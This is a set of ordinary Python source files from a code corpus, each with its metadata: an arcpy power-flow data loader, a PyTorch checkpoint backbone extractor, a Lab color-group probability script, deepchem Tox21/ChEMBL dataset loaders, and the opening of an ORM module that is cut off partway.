self.net[DB_STRUCT.SCENARIO] = {}\n\n # get model data (tables)\n self.net[DB_STRUCT.MOD_SRC_TBL] = self.loadTable(DB_STRUCT.MOD_SRC_TBL)\n self.net[DB_STRUCT.MOD_TRANS_TBL] = self.loadTable(\n DB_STRUCT.MOD_TRANS_TBL)\n self.net[DB_STRUCT.MOD_REG_TBL] = self.loadTable(DB_STRUCT.MOD_REG_TBL)\n self.net[DB_STRUCT.MOD_WIRE_TBL] = self.loadTable(\n DB_STRUCT.MOD_WIRE_TBL)\n self.net[DB_STRUCT.MOD_COND_TBL] = self.loadTable(\n DB_STRUCT.MOD_COND_TBL, keyField='id')\n self.net[DB_STRUCT.MOD_UG_TBL] = self.loadTable(\n DB_STRUCT.MOD_UG_TBL, keyField='id')\n self.net[DB_STRUCT.MOD_CONSTR_TBL] = self.loadTable(\n DB_STRUCT.MOD_CONSTR_TBL, keyField='id')\n self.net[DB_STRUCT.MOD_CAP_TBL] = self.loadTable(DB_STRUCT.MOD_CAP_TBL)\n self.net[DB_STRUCT.MOD_LOAD_TBL] = self.loadTable(DB_STRUCT.MOD_LOAD_TBL,\n whereClause=\"lscen='%s'\" % self.loadScenario)\n self.net[DB_STRUCT.MOD_PROT_TBL] = self.loadTable(\n DB_STRUCT.MOD_PROT_TBL)\n self.net[DB_STRUCT.MOD_GEN_TBL] = self.loadTable(DB_STRUCT.MOD_GEN_TBL)\n self.net[DB_STRUCT.MOD_GEN_PROF_TBL] = self.loadTable(DB_STRUCT.MOD_GEN_PROF_TBL,\n whereClause=\"gscen='%s'\" % self.genScenario)\n # model_switch\n # model_wire\n # model_circuit\n # model_motor\n self.buildBranchElems()\n self.findMissingCircuitSources()\n\n print(\"Done\")\n\n\nif __name__ == '__main__':\n\n conn = Connection()\n # pfld = PowerFlowLoadData(conn, [], 'TT2', 'GS1')\n pfld = PowerFlowLoadData(conn,['BARCLAY-2401', 'BARCLAY-2402'], 'TT2', 'GS1')\n pfld.loadData()\n", "sub_path": "new-development/PowerFlowAnalysis/PowerFlowLoadData.py", "file_name": "PowerFlowLoadData.py", "file_ext": "py", "file_size_in_byte": 10879, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "arcpy.SpatialReference", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 37, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "arcpy.Describe", "line_number": 45, "usage_type": "call"}, {"api_name": "arcpy.da.SearchCursor", "line_number": 62, "usage_type": "call"}, {"api_name": "arcpy.da", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "arcpy.da.SearchCursor", "line_number": 90, "usage_type": "call"}, {"api_name": "arcpy.da", "line_number": 90, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.BRANCH_ELEMENTS", "line_number": 130, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 130, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.TOP_ELEMENTS", "line_number": 130, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.BRANCH_ELEMENTS", "line_number": 143, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 143, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 159, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 159, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_POW_LINE_FC", "line_number": 164, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 164, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_POW_LINE_FC", "line_number": 172, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 172, "usage_type": "name"}, {"api_name": "arcpy.AddMessage", "line_number": 187, "usage_type": "call"}, {"api_name": "DBStructs.DB_STRUCT.GRID_POW_LINE_FC", "line_number": 191, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 191, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_POW_LINE_FC", "line_number": 192, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 192, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_LOADS_FC", "line_number": 193, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 193, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_LOADS_FC", "line_number": 194, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 194, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_TRANS", "line_number": 195, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 195, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 195, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_CAP", "line_number": 197, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 197, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 197, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_PROT", "line_number": 199, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 199, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 199, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_REG", "line_number": 201, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 201, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 201, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_SWITCH", "line_number": 203, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 203, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 203, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_SRC", "line_number": 205, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 205, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 205, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_GEN", "line_number": 207, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 207, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.GRID_EQUIP_FC", "line_number": 207, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT.CIRCUIT", "line_number": 209, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 209, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.SHUNT", "line_number": 210, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 210, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.SCENARIO", "line_number": 211, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 211, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_SRC_TBL", "line_number": 214, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 214, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_TRANS_TBL", "line_number": 215, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 215, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_TRANS_TBL", "line_number": 216, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 216, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_REG_TBL", "line_number": 217, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 217, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_WIRE_TBL", "line_number": 218, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 218, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_WIRE_TBL", "line_number": 219, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 219, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_COND_TBL", "line_number": 220, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 220, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_COND_TBL", "line_number": 221, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 221, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_UG_TBL", "line_number": 222, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 222, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_UG_TBL", "line_number": 223, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 223, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_CONSTR_TBL", "line_number": 224, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 224, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_CONSTR_TBL", "line_number": 225, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 225, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_CAP_TBL", "line_number": 226, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 226, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_LOAD_TBL", "line_number": 227, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 227, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_PROT_TBL", "line_number": 229, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 229, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_PROT_TBL", "line_number": 230, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 230, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_GEN_TBL", "line_number": 231, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 231, "usage_type": "name"}, {"api_name": "DBStructs.DB_STRUCT.MOD_GEN_PROF_TBL", "line_number": 232, "usage_type": "attribute"}, {"api_name": "DBStructs.DB_STRUCT", "line_number": 232, "usage_type": "name"}, {"api_name": "Connection.Connection", "line_number": 246, "usage_type": "call"}]} {"seq_id": "606352117", "text": "import torch\n\ndef print_pre_trained():\n\tname = '/home/lindeshou/.cache/torch/checkpoints/resnext101_32x4d-a5af3160.pth'\n\tmodel = torch.load(name)\n\tfor dicts in model:\n\t\tprint(dicts)\n\t#dicts = model['state_dict']\n\t#for dict in dicts:\n\t\t#print(dict)\n\t#print(type(model))\n\ndef print_backbone():\n\tname = 'feature_get.pth'\n\tmodel = torch.load(name)\n\t#print(model)\n\tdicts = model[\"state_dict\"]\n\tfor dict in dicts:\n\t\tprint(dict)\n\n\nif __name__ == \"__main__\":\n\t#print_pre_trained()\n\t#print_backbone()\n\tmodel_name = 'htc_dconv_c3-c5_mstrain_400_1400_x101_64x4d_fpn_20e_20190408-0e50669c.pth'\n\tmodel = torch.load(model_name)\n\n\tbackbone = dict()\n\tbackbone['state_dict'] = dict()\n\tmodel_dicts = model['state_dict']\n\tfor model_key in model_dicts:\n\t\tif not 'backbone' in model_key:\n\t\t\tcontinue\n\n\t\tkey = model_key.split('backbone.')[1]\n\t\t#print(\"model_key = {}, key = {}\".format(model_key, key))\n\t\tbackbone['state_dict'][key] = model_dicts[model_key]\n\n\ttorch.save(backbone, 'pre_trained/pre_trained_101_64.pth')\n", "sub_path": "src/get_feature/tools/get_backbone_feature.py", "file_name": "get_backbone_feature.py", "file_ext": "py", "file_size_in_byte": 996, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.load", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 39, "usage_type": "call"}]} {"seq_id": "373880558", "text": "import json\nimport numpy as np\nfrom skimage import color\n\ndef modifiedDeltaE(l1, l2):\n return color.deltaE_ciede2000(l1, l2, 1E30, 1, 1)\n\ndef getProbabilities(groupsMean, groupsV):\n PMatrix = np.zeros((200, 200, len(groupsMean)))\n for i in range(-100, 100):\n print(i)\n for j in range(-100, 100):\n D = [np.exp(-modifiedDeltaE([0.0, m[0], m[1]], [0.0, i + 0.5, j + 0.5])**2 / groupsV[mi] / 2) for mi, m in enumerate(groupsMean)]\n sumRec = sum(D)\n P = [a / sumRec for a in D]\n PMatrix[i + 100][j + 100] = P\n return PMatrix\n\ndef getLabGroups(groupsMean):\n labGroups = np.zeros((200, 200))\n for i in range(-100, 100):\n print(i)\n for j in range(-100, 100):\n D = [(modifiedDeltaE([0.0, m[0], m[1]], [0.0, i + 0.5, j + 0.5]), g) for g, m in enumerate(groupsMean)]\n D.sort()\n labGroups[i + 100][j + 100] = D[0][1]\n return labGroups\n\nwith open('groupMeans11.json', 'r') as f:\n means = json.load(f)\ngroupsNames = [g[0] for g in means]\ngroupsMean = [g[1] for g in means]\n\nwith open('groupVs11.json', 'r') as f:\n vs = json.load(f)\ngroupsV = [g[1] for g in vs]\n\nP = getProbabilities(groupsMean, groupsV)\nnp.save('groupProb11.npy', P)\n\nlabGroups = getLabGroups(groupsMean)\nnp.save('labGroups11.npy', labGroups)\n\n", "sub_path": "PosterAnalysis/Deprecated/getProbability.py", "file_name": "getProbability.py", "file_ext": "py", "file_size_in_byte": 1329, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "skimage.color.deltaE_ciede2000", "line_number": 6, "usage_type": "call"}, {"api_name": "skimage.color", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "json.load", "line_number": 30, "usage_type": "call"}, {"api_name": "json.load", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 42, "usage_type": "call"}]} {"seq_id": "108118549", "text": "import logging\nimport os\nimport deepchem\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom functools import partial\nfrom torch.utils.data import DataLoader, Dataset\n\nfrom gnnpooling.utils import const\nfrom gnnpooling.utils.graph_utils import pad_graph, pad_feats\nfrom gnnpooling.utils.transformers import GraphTransformer\nfrom gnnpooling.utils.tensor_utils import to_tensor\n\nlogging.getLogger(\"deepchem\").setLevel(logging.WARNING)\n\n\ndata_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"../../data\")\n\ndef load_tox21(split='stratified', dataset_file=os.path.join(data_dir, \"tox21/tox21.csv.gz\"), **kwargs):\n \"\"\"Load Tox21 datasets. Does not do train/test split\"\"\"\n # Featurize Tox21 dataset\n\n tox21_tasks = [\n 'NR-AR', 'NR-AR-LBD', 'NR-AhR', 'NR-Aromatase', 'NR-ER', 'NR-ER-LBD',\n 'NR-PPAR-gamma', 'SR-ARE', 'SR-ATAD5', 'SR-HSE', 'SR-MMP', 'SR-p53'\n ]\n\n featurizer = deepchem.feat.RawFeaturizer()\n loader = deepchem.data.CSVLoader(tasks=tox21_tasks, smiles_field=\"smiles\", featurizer=featurizer, verbose=False)\n dataset = loader.featurize(dataset_file)\n\n splitters = {\n 'index': deepchem.splits.IndexSplitter(),\n 'random': deepchem.splits.RandomSplitter(),\n 'scaffold': deepchem.splits.ScaffoldSplitter(),\n 'butina': deepchem.splits.ButinaSplitter(),\n 'stratified': deepchem.splits.RandomStratifiedSplitter()\n }\n splitter = splitters[split]\n\n\n frac_train = kwargs.get(\"frac_train\", 0.8)\n frac_valid = kwargs.get('frac_valid', 0.1)\n frac_test = kwargs.get('frac_test', 0.1)\n\n train, valid, test = splitter.train_valid_test_split(\n dataset,\n frac_train=frac_train,\n frac_valid=frac_valid,\n frac_test=frac_test,\n seed=kwargs.get(\"seed\"))\n\n all_dataset = (train, valid, test)\n transformers = [\n deepchem.trans.BalancingTransformer(transform_w=True, dataset=train)\n ] \n for transformer in transformers:\n train = transformer.transform(train)\n valid = transformer.transform(valid)\n test = transformer.transform(test)\n\n return tox21_tasks, all_dataset, transformers\n\n\nclass MolDataset(Dataset):\n def __init__(self, X, y, mols, w=None, cuda=False, pad_to=-1, **kwargs):\n self.cuda = cuda\n self.adj = []\n self.x = []\n self.w = None\n self.mols = mols\n if pad_to is None:\n pad_to = -1\n\n l = 0 or X[0][-1].shape[-1]\n fake_atom = to_tensor(np.zeros(l), dtype=torch.float32, gpu=cuda)\n self.pad_x = partial(pad_feats, no_atom_tensor=fake_atom, max_num_node=pad_to)\n self.pad = partial(pad_graph, max_num_node=pad_to)\n \n if len(X) > 0:\n self.adj, self.x = zip(*X)\n self.adj = list(self.adj)\n self.x = list(self.x)\n self.y = to_tensor(y, gpu=self.cuda, dtype=torch.float32)\n if w is not None:\n self.w = w.reshape(y.shape[0], -1)\n self.w = to_tensor(self.w, gpu=self.cuda, dtype=torch.float32)\n \n for k, v in kwargs.items():\n setattr(self, k, v)\n\n def __len__(self):\n return len(self.adj)\n\n @property\n def X(self):\n G, F = self.adj, self.x\n G = [self.pad(to_tensor(g_i, gpu=self.cuda, dtype=torch.float32)) for g_i in G]\n F = [self.pad_x(to_tensor(f_i, gpu=self.cuda, dtype=torch.float32)) for f_i in F]\n return list(zip(G, F))\n\n\n def __getitem__(self, idx):\n g_i, f_i = self.adj[idx], self.x[idx]\n true_nodes = g_i.shape[0]\n if not isinstance(g_i, torch.Tensor):\n g_i = self.pad(to_tensor(g_i, gpu=self.cuda, dtype=torch.float32)).squeeze() # remove edge dim if exist\n if not isinstance(f_i, torch.Tensor):\n f_i = self.pad_x(to_tensor(f_i, gpu=self.cuda, dtype=torch.float32))\n y_i = self.y[idx, None]\n # add mask for binary \n m_i = torch.zeros(g_i.shape[-1])\n m_i[torch.arange(true_nodes)] = 1\n m_i = m_i.unsqueeze(-1)\n \n if self.w is not None:\n w_i = self.w[idx, None]\n return (g_i, f_i, m_i), self.mols[idx], y_i, w_i\n return (g_i, f_i, m_i), self.mols[idx], y_i\n\n\nclass MolDataLoader(torch.utils.data.DataLoader):\n def __init__(self, dataset, batch_size=1, shuffle=False, as_list=False, **kwargs):\n def graph_collate(batch):\n x, mols, *y = zip(*batch) \n x = tuple(zip(*x))\n if not as_list:\n x = (torch.stack(x[0]), torch.stack(x[1]), torch.stack(x[2]))\n y = [torch.cat(yy, dim=0) for yy in y]\n return (x, mols, *y)\n\n super(MolDataLoader, self).__init__(\n dataset, batch_size, shuffle, collate_fn=graph_collate, **kwargs)\n\n\ndef mol_graph_transformer(dataset, min_size=0, max_size=None, **kwargs):\n # Initialize the transformer\n # Call the transformer on the smiles using the __call__ method.\n trans = GraphTransformer(mol_size=[min_size, max_size], **kwargs)\n X, ids = trans(dataset.ids, dtype=np.float32, ignore_errors=False)\n # Keep only the ids where the transformation succeeded\n # (the failed transformations are not present in ids)\n y = dataset.y[ids, :]\n w = dataset.w[ids, :]\n # Keep only the ids with more than min atoms\n raw_mols = dataset.X[ids]\n return MolDataset(X, y, raw_mols, w=w, pad_to=max_size) \n\n\ndef get_tox21(min_size=0, max_size=None, add_bond=False, seed=None):\n tox21_tasks, (train, valid, test), _ = load_tox21(seed=seed) \n return as_dataset(train, valid, test, min_size=min_size, max_size=max_size, add_bond=add_bond)\n\ndef as_dataset(train, valid, test, min_size=0, max_size=None, add_bond=False, **kwargs):\n train_dt = mol_graph_transformer(train, add_bond=add_bond, min_size=min_size, max_size=max_size)\n valid_dt = mol_graph_transformer(valid, add_bond=add_bond, min_size=min_size, max_size=max_size)\n test_dt = mol_graph_transformer(test, add_bond=add_bond, min_size=min_size, max_size=max_size)\n in_size = train_dt.x[0].shape[-1]\n out_size = 1 if len(train_dt.y.shape) == 1 else train_dt.y.shape[-1]\n return train_dt, valid_dt, test_dt, MolDataLoader, in_size, out_size\n\n\ndef load_chembl(split='random', dataset_file=\"chembl_dataset_fragments.txt\", **kwargs):\n \"\"\"Load Tox21 datasets. Does not do train/test split\"\"\"\n # Featurize Tox21 dataset\n\n const.ATOM_LIST = ['O', 'C', 'F', 'Cl', 'Br', 'P', 'I', 'S', 'N']\n\n dataset_file = os.path.join(data_dir, dataset_file)\n file = pd.read_csv(dataset_file)\n tasks = list(file.head(0))[1:]\n\n featurizer = deepchem.feat.RawFeaturizer()\n loader = deepchem.data.CSVLoader(tasks=tasks, smiles_field=\"smiles\", featurizer=featurizer, verbose=False)\n dataset = loader.featurize(dataset_file)\n\n splitters = {\n 'index': deepchem.splits.IndexSplitter(),\n 'random': deepchem.splits.RandomSplitter(),\n 'scaffold': deepchem.splits.ScaffoldSplitter(),\n 'butina': deepchem.splits.ButinaSplitter(),\n 'stratified': deepchem.splits.RandomStratifiedSplitter()\n }\n splitter = splitters[split]\n\n\n frac_train = kwargs.get(\"frac_train\", 0.8)\n frac_valid = kwargs.get('frac_valid', 0.1)\n frac_test = kwargs.get('frac_test', 0.1)\n\n train, valid, test = splitter.train_valid_test_split(\n dataset,\n frac_train=frac_train,\n frac_valid=frac_valid,\n frac_test=frac_test,\n seed=kwargs.get(\"seed\"))\n\n all_dataset = (train, valid, test)\n transformers = [\n deepchem.trans.BalancingTransformer(transform_w=True, dataset=train)\n ] \n for transformer in transformers:\n train = transformer.transform(train)\n valid = transformer.transform(valid)\n test = transformer.transform(test)\n\n return tasks, all_dataset, transformers\n\n", "sub_path": "gnnpooling/utils/tox21data.py", "file_name": "tox21data.py", "file_ext": "py", "file_size_in_byte": 7948, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "deepchem.feat.RawFeaturizer", "line_number": 29, "usage_type": "call"}, {"api_name": "deepchem.feat", "line_number": 29, "usage_type": "attribute"}, {"api_name": "deepchem.data.CSVLoader", "line_number": 30, "usage_type": "call"}, {"api_name": "deepchem.data", "line_number": 30, "usage_type": "attribute"}, {"api_name": "deepchem.splits.IndexSplitter", "line_number": 34, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 34, "usage_type": "attribute"}, {"api_name": "deepchem.splits.RandomSplitter", "line_number": 35, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 35, "usage_type": "attribute"}, {"api_name": "deepchem.splits.ScaffoldSplitter", "line_number": 36, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 36, "usage_type": "attribute"}, {"api_name": "deepchem.splits.ButinaSplitter", "line_number": 37, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 37, "usage_type": "attribute"}, {"api_name": "deepchem.splits.RandomStratifiedSplitter", "line_number": 38, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 38, "usage_type": "attribute"}, {"api_name": "deepchem.trans.BalancingTransformer", "line_number": 56, "usage_type": "call"}, {"api_name": "deepchem.trans", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 66, "usage_type": "name"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 77, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 78, "usage_type": "call"}, {"api_name": "gnnpooling.utils.graph_utils.pad_feats", "line_number": 78, "usage_type": "argument"}, {"api_name": "functools.partial", "line_number": 79, "usage_type": "call"}, {"api_name": "gnnpooling.utils.graph_utils.pad_graph", "line_number": 79, "usage_type": "argument"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 85, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 88, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 99, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 107, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 108, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 109, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.tensor_utils.to_tensor", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 110, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 123, "usage_type": "attribute"}, {"api_name": "torch.stack", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 130, "usage_type": "call"}, {"api_name": "gnnpooling.utils.transformers.GraphTransformer", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 141, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.const.ATOM_LIST", "line_number": 168, "usage_type": "attribute"}, {"api_name": "gnnpooling.utils.const", "line_number": 168, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 171, "usage_type": "call"}, {"api_name": "deepchem.feat.RawFeaturizer", "line_number": 174, "usage_type": "call"}, {"api_name": "deepchem.feat", "line_number": 174, "usage_type": "attribute"}, {"api_name": "deepchem.data.CSVLoader", "line_number": 175, "usage_type": "call"}, {"api_name": "deepchem.data", "line_number": 175, "usage_type": "attribute"}, {"api_name": "deepchem.splits.IndexSplitter", "line_number": 179, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 179, "usage_type": "attribute"}, {"api_name": "deepchem.splits.RandomSplitter", "line_number": 180, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 180, "usage_type": "attribute"}, {"api_name": "deepchem.splits.ScaffoldSplitter", "line_number": 181, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 181, "usage_type": "attribute"}, {"api_name": "deepchem.splits.ButinaSplitter", "line_number": 182, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 182, "usage_type": "attribute"}, {"api_name": "deepchem.splits.RandomStratifiedSplitter", "line_number": 183, "usage_type": "call"}, {"api_name": "deepchem.splits", "line_number": 183, "usage_type": "attribute"}, {"api_name": "deepchem.trans.BalancingTransformer", "line_number": 201, "usage_type": "call"}, {"api_name": "deepchem.trans", "line_number": 201, "usage_type": "attribute"}]} {"seq_id": "14634058", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, division, print_function, absolute_import\nimport inspect\nimport sys\nimport datetime\n\n# first party\nfrom .query import Query, Iterator\nfrom . import decorators, utils\nfrom .interface import get_interface\nfrom .config import Schema, Field, ObjectField, Index\nfrom .compat import *\n\n\nclass OrmPool(utils.Pool):\n \"\"\"\n Create a pool of Orm instances, which is just a dict of primary_key -> Orm instance\n mappings\n\n Let's say you are iterating through millions of rows of Foo, and for each Foo\n instance you need to get the Bar instance from the Foo.bar_id field, and lots of\n Foos have the same bar_id, but you only want to pull the Bar instance from\n the db once, this allows you to easily do that\n\n example --\n bar_pool = Bar.pool(500) # keep the pool contained to the last 500 Bar instances\n for f in Foo.query.all():\n b = bar_pool[f.bar_id]\n print \"Foo {} loves Bar {}\".format(f.pk, b.pk)\n \"\"\"\n def __init__(self, orm_class, size=0):\n super(OrmPool, self).__init__(size=size)\n self.orm_class = orm_class\n\n def create_value(self, pk):\n return self.orm_class.query.get_pk(pk)\n\n\nclass Orm(object):\n \"\"\"\n this is the parent class of any model Orm class you want to create that can access the db\n\n example -- create a user class\n\n import prom\n\n class User(prom.Orm):\n table_name = \"user_table_name\"\n\n username = prom.Field(str, True, 